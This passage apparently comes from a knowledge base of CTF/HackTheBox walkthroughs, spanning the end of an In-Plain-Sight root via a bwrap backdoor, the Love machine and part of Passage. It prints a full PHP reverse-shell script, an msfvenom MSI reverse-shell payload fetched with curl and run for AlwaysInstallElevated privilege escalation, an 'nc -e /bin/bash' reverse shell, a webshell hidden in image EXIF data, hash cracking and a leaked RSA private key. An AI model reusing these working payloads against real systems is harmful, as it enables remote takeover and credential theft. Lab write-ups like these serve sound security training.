mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike,,,:/home/mike:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
postfix:x:112:120::/var/spool/postfix:/usr/sbin/nologin
ftp:x:113:122:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
joe:x:1001:1001:joe:SmashMouthNoThanks:/home/joe:/bin/bash
```

得到用户密码:joe/SmashMouthNoThanks，然后切换到joe用户

``` bash
mike@inplainsight:/etc$ su joe
su joe
Password: SmashMouthNoThanks

joe@inplainsight:/etc$ id
id
uid=1001(joe) gid=1001(joe) groups=1001(joe)
joe@inplainsight:/etc$ whoami
whoami
joe
joe@inplainsight:/$ cd /home
cd /home
joe@inplainsight:/home$ ls
ls
joe  mike
joe@inplainsight:/home$ cd joe
cd joe
joe@inplainsight:~$ ls  
ls
journal
joe@inplainsight:~$ cat journal
cat journal
glad i added that root backdoor before boss person removed my privileges :)
```

意思是，系统中已经有别人先添加好的后门了,要做的唯一一件事就是获取目标的最后一个flag。为了得到它，我们使用命令find查找SUID。

``` bash
find / -perm -u=s -type f 2>/dev/null
```
在执行此命令之前，我们将目录更改为“/”，并在运行该命令后找到以下有用的二进制文件。

``` bash
joe@inplainsight:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/bwrap
/usr/bin/mount
/usr/bin/at
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
```

在/bwrap中，找到了最后一个flag，如下图：

``` bash
joe@inplainsight:~$ bwrap
bwrap
root@inplainsight:~# id
id
uid=0(root) gid=0(root) groups=0(root),1001(joe)
root@inplainsight:~# whoami
whoami
root
root@inplainsight:~# cd /root
cd /root
root@inplainsight:/root# ls
ls
flag.txt
root@inplainsight:/root# cat flag.txt
cat flag.txt

                                          __          
  ____  ____   ____    ________________ _/  |_  ______
_/ ___\/  _ \ /    \  / ___\_  __ \__  \\   __\/  ___/
\  \__(  <_> )   |  \/ /_/  >  | \// __ \|  |  \___ \ 
 \___  >____/|___|  /\___  /|__|  (____  /__| /____  >
     \/           \//_____/            \/          \/ 

easy right? thanks for playing.

feel free to leave feedback with me @bzyo_
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub155.jpg)

成功提权，帅的一批。。。

 - 知识点：wordpress文件上传

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end In-Plain-Sight-1-0-1 -->

</details>

<a id="case-love"></a>

## 内部服务凭据与 MSI 策略

原链通过 Web 功能定位后台凭据，Voting System 上传提供执行。AlwaysInstallElevated 的用户和机器配置决定本地提权条件。

<p class="kb-provenance">来源 love · 原记录 2021-05-03 · 11 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-love">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start love -->

#### introduce

OS: Windows
Difficulty: Easy
Points:	20
Release:	01 May 2021
IP:	10.10.10.239

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1944.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.239
PORT      STATE SERVICE      VERSION
10/tcp    open  tcpwrapped
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
```

There is lot of ports open.

Let's first start with port-80

#### Port-80

There is a login page that need voter id & Password.

Let's use gobuster to find some new directories.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# gobuster dir -u http://10.10.10.239 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.239
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/02 04:06:36 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 338] [--> http://10.10.10.239/images/]
/Images               (Status: 301) [Size: 338] [--> http://10.10.10.239/Images/]
/admin                (Status: 301) [Size: 337] [--> http://10.10.10.239/admin/] 
/plugins              (Status: 301) [Size: 339] [--> http://10.10.10.239/plugins/]
/includes             (Status: 301) [Size: 340] [--> http://10.10.10.239/includes/]
/dist                 (Status: 301) [Size: 336] [--> http://10.10.10.239/dist/]    
/licenses             (Status: 403) [Size: 421]                                     
/examples             (Status: 503) [Size: 402]                                     
/IMAGES               (Status: 301) [Size: 338] [--> http://10.10.10.239/IMAGES/]  
/%20                  (Status: 403) [Size: 302]                                     
/Admin                (Status: 301) [Size: 337] [--> http://10.10.10.239/Admin/]   
/*checkout*           (Status: 403) [Size: 302]                                     
/Plugins              (Status: 301) [Size: 339] [--> http://10.10.10.239/Plugins/] 
/phpmyadmin           (Status: 403) [Size: 302]                                     
/webalizer            (Status: 403) [Size: 302]                                     
/*docroot*            (Status: 403) [Size: 302]                                     
/*                    (Status: 403) [Size: 302]                                     
/con                  (Status: 403) [Size: 302]                                     
/http%3A              (Status: 403) [Size: 302]                                     
/Includes             (Status: 301) [Size: 340] [--> http://10.10.10.239/Includes/]
/**http%3a            (Status: 403) [Size: 302]
```

Got a /admin directory let's check the /admin page.

And page asking for username and password which we don't have.

Let's check https port 443.

And it's Forbidden.

Let's check port 5000.

And it's also Forbidden.

If we check https certificate we find a new vhost.

Let's add this vhost in our /etc/hosts file.

``` bash
10.10.10.239    staging.love.htb
```

Now let's go to staging.love.htb

It's a free file scanner service.

Let's check Demo page.

It's asking for file url. let's add the localhost url with port 5000 which said for Forbidden.

http://127.0.0.1:5000

And we got the admin creads for voting system.

``` bash
admin:@LoveIsInTheAir!!!!
```

Now let's go to 10.10.10.239/admin which we find with gobuster.

We are inside votingsystem admin panel.

Let's check on google for any vulnerability in votingsystem.

 - [Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)](https://www.exploit-db.com/exploits/49445)

But the exploit is not working so we need to do this manually.

 - [php_reverse_shell_mini.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/minified/php_reverse_shell_mini.php)

I use this mini php rev shell to get the rev shell.

 - Exploit.php

``` bash
<?php class Sh
{
    private $a = null;
    private $p = null;
    private $os = null;
    private $sh = null;
    private $ds = array(
        0 => array(
            'pipe',
            'r'
        ) ,
        1 => array(
            'pipe',
            'w'
        ) ,
        2 => array(
            'pipe',
            'w'
        )
    );
    private $o = array();
    private $b = 1024;
    private $c = 0;
    private $e = false;
    public function __construct($a, $p)
    {
        $this->a = $a;
        $this->p = $p;
        if (stripos(PHP_OS, 'LINUX') !== false)
        {
            $this->os = 'LINUX';
            $this->sh = '/bin/sh';
        }
        else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false)
        {
            $this->os = 'WINDOWS';
            $this->sh = 'cmd.exe';
            $this->o['bypass_shell'] = true;
        }
        else
        {
            $this->e = true;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
    }
    private function dem()
    {
        $e = false;
        @error_reporting(0);
        @set_time_limit(0);
        if (!function_exists('pcntl_fork'))
        {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        }
        else if (($p = @pcntl_fork()) < 0)
        {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        }
        else if ($p > 0)
        {
            $e = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        }
        else if (posix_setsid() < 0)
        {
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        }
        else
        {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        @umask(0);
        return $e;
    }
    private function d($d)
    {
        $d = str_replace('<', '<', $d);
        $d = str_replace('>', '>', $d);
        echo $d;
    }
    private function r($s, $n, $b)
    {
        if (($d = @fread($s, $b)) === false)
        {
            $this->e = true;
            echo "STRM_ERROR: Cannot read from ${n}, script will now exit...\n";
        }
        return $d;
    }
    private function w($s, $n, $d)
    {
        if (($by = @fwrite($s, $d)) === false)
        {
            $this->e = true;
            echo "STRM_ERROR: Cannot write to ${n}, script will now exit...\n";
        }
        return $by;
    }
    private function rw($i, $o, $in, $on)
    {
        while (($d = $this->r($i, $in, $this->b)) && $this->w($o, $on, $d))
        {
            if ($this->os === 'WINDOWS' && $on === 'STDIN')
            {
                $this->c += strlen($d);
            }
            $this->d($d);
        }
    }
    private function brw($i, $o, $in, $on)
    {
        $s = fstat($i) ['size'];
        if ($this->os === 'WINDOWS' && $in === 'STDOUT' && $this->c)
        {
            while ($this->c > 0 && ($by = $this->c >= $this->b ? $this->b : $this->c) && $this->r($i, $in, $by))
            {
                $this->c -= $by;
                $s -= $by;
            }
        }
        while ($s > 0 && ($by = $s >= $this->b ? $this->b : $s) && ($d = $this->r($i, $in, $by)) && $this->w($o, $on, $d))
        {
            $s -= $by;
            $this->d($d);
        }
    }
    public function rn()
    {
        if (!$this->e && !$this->dem())
        {
            $soc = @fsockopen($this->a, $this->p, $en, $es, 30);
            if (!$soc)
            {
                echo "SOC_ERROR: {$en}: {$es}\n";
            }
            else
            {
                stream_set_blocking($soc, false);
                $proc = @proc_open($this->sh, $this->ds, $pps, '/', null, $this->o);
                if (!$proc)
                {
                    echo "PROC_ERROR: Cannot start the shell\n";
                }
                else
                {
                    foreach ($ps as $pp)
                    {
                        stream_set_blocking($pp, false);
                    }
                    @fwrite($soc, "SOCKET: Shell has connected! PID: " . proc_get_status($proc) ['pid'] . "\n");
                    do
                    {
                        if (feof($soc))
                        {
                            echo "SOC_ERROR: Shell connection has been terminated\n";
                            break;
                        }
                        else if (feof($pps[1]) || !proc_get_status($proc) ['running'])
                        {
                            echo "PROC_ERROR: Shell process has been terminated\n";
                            break;
                        }
                        $s = array(
                            'read' => array(
                                $soc,
                                $pps[1],
                                $pps[2]
                            ) ,
                            'write' => null,
                            'except' => null
                        );
                        $ncs = @stream_select($s['read'], $s['write'], $s['except'], null);
                        if ($ncs === false)
                        {
                            echo "STRM_ERROR: stream_select() failed\n";
                            break;
                        }
                        else if ($ncs > 0)
                        {
                            if ($this->os === 'LINUX')
                            {
                                if (in_array($soc, $s['read']))
                                {
                                    $this->rw($soc, $pps[0], 'SOCKET', 'STDIN');
                                }
                                if (in_array($pps[2], $s['read']))
                                {
                                    $this->rw($pps[2], $soc, 'STDERR', 'SOCKET');
                                }
                                if (in_array($pps[1], $s['read']))
                                {
                                    $this->rw($pps[1], $soc, 'STDOUT', 'SOCKET');
                                }
                            }
                            else if ($this->os === 'WINDOWS')
                            {
                                if (in_array($soc, $s['read']))
                                {
                                    $this->rw($soc, $pps[0], 'SOCKET', 'STDIN');
                                }
                                if (fstat($pps[2]) ['size'])
                                {
                                    $this->brw($pps[2], $soc, 'STDERR', 'SOCKET');
                                }
                                if (fstat($pps[1]) ['size'])
                                {
                                    $this->brw($pps[1], $soc, 'STDOUT', 'SOCKET');
                                }
                            }
                        }
                    }
                    while (!$this->e);
                    foreach ($pps as $pp)
                    {
                        fclose($pp);
                    }
                    proc_close($proc);
                }
                fclose($soc);
            }
        }
    }
}
echo '<pre>';
$sh = new Sh('10.10.14.5', 9001);
$sh->rn();
echo '</pre>';
unset($sh); /*@gc_collect_cycles();*/ ?>
```

Change the ip and port and we good to go.

Now click on profile and then update.

Now browse the exploit.php and enter the current password = @LoveIsInTheAir!!!! and then click on save.

 - Important: Before click on save start your netcat listner on 9001 for catch the shell.

Now let's check netcat listner.

We got the rev shell now let's get the user.txt file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# nc -lvp 9001                                                                                                                                 
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.239.
Ncat: Connection from 10.10.10.239:54537.
SOCKET: Shell has connected! PID: 276
Microsoft Windows [Version 10.0.19042.928]
(c) Microsoft Corporation. All rights reserved.

C:\>whoami
love\phoebe

C:\>ls Users
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\>dir Users
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users

04/13/2021  06:58 AM    <DIR>          .
04/13/2021  06:58 AM    <DIR>          ..
04/12/2021  03:00 PM    <DIR>          Administrator
04/21/2021  07:01 AM    <DIR>          Phoebe
04/12/2021  02:10 PM    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)   2,277,662,720 bytes free

C:\>cd Users\

C:\Users>cd Phoebe\Desktop

C:\Users\Phoebe\Desktop>type user.txt
bd506f17991891d6af1de3879e88b091
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1945.jpg)

#### Privilege escalation

let's run winPEAS.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1946.jpg)

After running winPEAS we have the Privilege for AlwaysInstallElevated

 - [Always Install Elevated](https://ed4m4s.blog/privilege-escalation/windows/always-install-elevated)

After reading the article we known that how to privesc.

First we create a rev shell with msfvenom.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f msi -o reverse.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: reverse.msi
```

Now transfer the rev shell into the machiene.

``` bash
C:\Users\Phoebe\Desktop>curl http://10.10.14.5/reverse.msi -o reverse.msi
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  156k  100  156k    0     0   156k      0  0:00:01  0:00:01 --:--:--  109k

C:\Users\Phoebe\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users\Phoebe\Desktop

05/03/2021  02:09 AM    <DIR>          .
05/03/2021  02:09 AM    <DIR>          ..
05/03/2021  02:09 AM           159,744 reverse.msi
04/28/2021  06:18 AM                34 user.txt
               2 File(s)        159,778 bytes
               2 Dir(s)   2,277,412,864 bytes free
```

now start your netcat listner.

``` bash
nc -lvp 1337
```

now paste this both command and then enter and you got the shell as root.

``` bash
C:\Users\Phoebe\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users\Phoebe\Desktop

05/03/2021  02:09 AM    <DIR>          .
05/03/2021  02:09 AM    <DIR>          ..
05/03/2021  02:09 AM           159,744 reverse.msi
04/28/2021  06:18 AM                34 user.txt
               2 File(s)        159,778 bytes
               2 Dir(s)   2,277,597,184 bytes free

C:\Users\Phoebe\Desktop>msiexec /quiet /qn /i setup.msi

C:\Users\Phoebe\Desktop>This installation package could not be opened.  Verify that the package exists and that you can access it, or contact the application vendor to verify that this is a valid Windows Installer package.

C:\Users\Phoebe\Desktop>msiexec /quiet /qn /i reverse.msi
```

Now let's get the root.txt file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/love]
└─# nc -lvp 1337                                                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.239.
Ncat: Connection from 10.10.10.239:54539.
Microsoft Windows [Version 10.0.19042.928]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users\Administrator\Desktop

04/13/2021  03:20 AM    <DIR>          .
04/13/2021  03:20 AM    <DIR>          ..
04/28/2021  06:18 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   2,277,384,192 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
54b6e31b307e2bc394f4f7d27556e788
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1947.jpg)

#### Summary of knowledge

 - gobuster fuzz dir path
 - Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
 - privesc through AlwaysInstallElevated

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end love -->

</details>

<a id="case-passage"></a>

## 图像内容、新闻系统与 D-Bus

CuteNews 的上传及用户哈希连接本地身份，D-Bus USB 控制器路径提供后续权限变化。图像中的 PHP 内容与触发过程完整保留。

<p class="kb-provenance">来源 passage · 原记录 2020-09-07 · 21 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-passage">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start passage -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release: 05 Sep 2020
IP:	10.10.10.206

User Blood qtc	    00 days, 00 hours, 19 mins, 35 seconds.
Root Blood Lemming	00 days, 00 hours, 32 mins, 04 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb88.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~# nmap -sV -v -p- --min-rate=10000 10.10.10.206
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
```

from the page we know about NMS (News Management System) Cutenews.

``` bash
Powered by CuteNews
```

After some googling, I found that we can visit the NMS panel after placing CuteNews on the web page.

``` bash
http://10.10.10.206/CuteNews/
```

first regist then sign in,but nothing interesting,then got the version of CuteNews in the same page.

``` bash
Powered by CuteNews 2.1.2 © 2002–2020 CutePHP.
(unregistered)
```

#### CVE – Arbitrary File Upload – www-data Shell

A simple Googling we found

 - [CuteNews 2.0.3 - Arbitrary File Upload](https://www.exploit-db.com/exploits/37474)

Based on the reference above, we can upload a malicious JPG file containing malicious PHP code in it to cause RCE.

 - we can writeup our PHP code inside an image file using the ExifTool tool.

``` bash
root@kali:~/hackthebox/machine/passage# exiftool -comment='<?php echo system($_GET['cmd']); ?>' test.jpg
    1 image files updated
root@kali:~/hackthebox/machine/passage# exiftool test.jpg
ExifTool Version Number         : 12.04
File Name                       : test.jpg
Directory                       : .
File Size                       : 63 kB
File Modification Date/Time     : 2020:09:07 01:59:53-04:00
File Access Date/Time           : 2020:09:07 01:59:53-04:00
File Inode Change Date/Time     : 2020:09:07 01:59:53-04:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
Comment                         : <?php echo system($_GET[cmd]); ?>
Image Width                     : 780
Image Height                    : 1380
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 780x1380
Megapixels                      : 1.1
```

then change the extension to .php and register an account and upload it to the avatar section.

visit

``` bash
http://10.10.10.206/CuteNews/index.php?mod=main&opt=personal
```

After saving changes, we can now able to visit the location of our uploaded PHP file.

``` bash
http://10.10.10.206/CuteNews/uploads/avatar_lucifer_test.php?cmd=id
```

and we got the following on browser

``` bash
uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

After Some Enumeration found that NC is available in machiene.

executed this command to get a reverse shell

``` bash
nc 10.10.14.4 4455 -e /bin/bash
```

and we got a reverse shell

``` bash
root@kali:~# nc -lvp 4455
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
Ncat: Connection from 10.10.10.206.
Ncat: Connection from 10.10.10.206:34760.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@passage:/var/www/html/CuteNews/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@passage:/var/www/html/CuteNews/uploads$ whoami
whoami
www-data
```

there is a lot of PHP files available to read. saved all the outputs to a single file and copied it to my machine.

``` bash
www-data@passage:/var/www/html/CuteNews/cdata/users$ ls
ls
09.php  21.php  52.php  6e.php  7a.php  b0.php  d4.php  fc.php
0a.php  32.php  5d.php  75.php  8f.php  c8.php  d5.php  lines
16.php  49.php  66.php  77.php  97.php  ca.php  d6.php  users.txt
www-data@passage:/var/www/html/CuteNews/cdata/users$ cat * > output.txt
cat * > output.txt
```

base64 decode those strings, got 7 SHA2-256 Hashes. use Hashcat to crack this against with rockyou.txt file.

``` bash
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
6e9d6c8d194aad647a7b5e1ecd47c7ca24f042a772fb3802e4b81e6043d67817
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
e7d3685715939842749cc27b38d0ccb9706d4d14a5304ef9eee093780eab5df9
```

``` bash
hashcat64.exe -m 1400 -a 0 output.txt rockyou.txt
```

and we cracked 2 hashes:

``` bash
e7d3685715939842749cc27b38d0ccb9706d4d14a5304ef9eee093780eab5df9:hacker
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd:atlanta1
```

SSH is not allowed to log in with Password. So I tried to SU into Paul.

``` bash
username : paul
password : atlanta1

www-data@passage:/var/www/html/CuteNews/cdata/users$ su paul
su paul
Password: atlanta1

paul@passage:/var/www/html/CuteNews/cdata/users$ cd ~
cd ~
paul@passage:~$ ls
ls
Desktop    Downloads         Music     Public     user.txt
Documents  examples.desktop  Pictures  Templates  Videos
paul@passage:~$ cat user.txt
cat user.txt
7b75a13dc30044026e830c894aaf83c0
```

and we got user.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb89.jpg)

#### got root

We Can Cat SSH Keys Of Nadav, because Nadav uses the same SSH key for Paul.

``` bash
paul@passage:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
+L+JLs7KP5QL0CINoGGhB5Q3aanfYAmAO7YO+jeUS266BqgOj6PdUOvT0GnS7M4i
Z2Lpm4QpYDyxrgY9OmCg5LSN26Px948WE12N5HyFCqN1hZ6FWYk5ryiw5AJTv/kt
rWEGu8DJXkkdNaT+FRMcT1uMQ32y556fczlFQaXQjB5fJUXYKIDkLhGnUTUcAnSJ
JjBGOXn1d2LGHMAcHOof2QeLvMT8h98hZQTUeyQA5J+2RZ63b04dzmPpCxK+hbok
sjhFoXD8m5DOYcXS/YHvW1q3knzQtddtqquPXQIDAQABAoIBAGwqMHMJdbrt67YQ
eWztv1ofs7YpizhfVypH8PxMbpv/MR5xiB3YW0DH4Tz/6TPFJVR/K11nqxbkItlG
QXdArb2EgMAQcMwM0mManR7sZ9o5xsGY+TRBeMCYrV7kmv1ns8qddMkWfKlkL0lr
lxNsimGsGYq10ewXETFSSF/xeOK15hp5rzwZwrmI9No4FFrX6P0r7rdOaxswSFAh
zWd1GhYk+Z3qYUhCE0AxHxpM0DlNVFrIwc0DnM5jogO6JDxHkzXaDUj/A0jnjMMz
R0AyP/AEw7HmvcrSoFRx6k/NtzaePzIa2CuGDkz/G6OEhNVd2S8/enlxf51MIO/k
7u1gB70CgYEA1zLGA35J1HW7IcgOK7m2HGMdueM4BX8z8GrPIk6MLZ6w9X6yoBio
GS3B3ngOKyHVGFeQrpwT1a/cxdEi8yetXj9FJd7yg2kIeuDPp+gmHZhVHGcwE6C4
IuVrqUgz4FzyH1ZFg37embvutkIBv3FVyF7RRqFX/6y6X1Vbtk7kXsMCgYEA1WBE
LuhRFMDaEIdfA16CotRuwwpQS/WeZ8Q5loOj9+hm7wYCtGpbdS9urDHaMZUHysSR
AHRFxITr4Sbi51BHUsnwHzJZ0o6tRFMXacN93g3Y2bT9yZ2zj9kwGM25ySizEWH0
VvPKeRYMlGnXqBvJoRE43wdQaPGYgW2bj6Ylt18CgYBRzSsYCNlnuZj4rmM0m9Nt
1v9lucmBzWig6vjxwYnnjXsW1qJv2O+NIqefOWOpYaLvLdoBhbLEd6UkTOtMIrj0
KnjOfIETEsn2a56D5OsYNN+lfFP6Ig3ctfjG0Htnve0LnG+wHHnhVl7XSSAA9cP1
9pT2lD4vIil2M6w5EKQeoQKBgQCMMs16GLE1tqVRWPEH8LBbNsN0KbGqxz8GpTrF
d8dj23LOuJ9MVdmz/K92OudHzsko5ND1gHBa+I9YB8ns/KVwczjv9pBoNdEI5KOs
nYN1RJnoKfDa6WCTMrxUf9ADqVdHI5p9C4BM4Tzwwz6suV1ZFEzO1ipyWdO/rvoY
f62mdwKBgQCCvj96lWy41Uofc8y65CJi126M+9OElbhskRiWlB3OIDb51mbSYgyM
Uxu7T8HY2CcWiKGe+TEX6mw9VFxaOyiBm8ReSC7Sk21GASy8KgqtfZy7pZGvazDs
OR3ygpKs09yu7svQi8j2qwc7FL6DER74yws+f538hI7SHBv9fYPVyw==
-----END RSA PRIVATE KEY-----
```

and now we are nadav

``` bash
root@kali:~/hackthebox/machine/passage# ssh -i nadav-key nadav@10.10.10.206
load pubkey "nadav-key": invalid format
The authenticity of host '10.10.10.206 (10.10.10.206)' can't be established.
ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
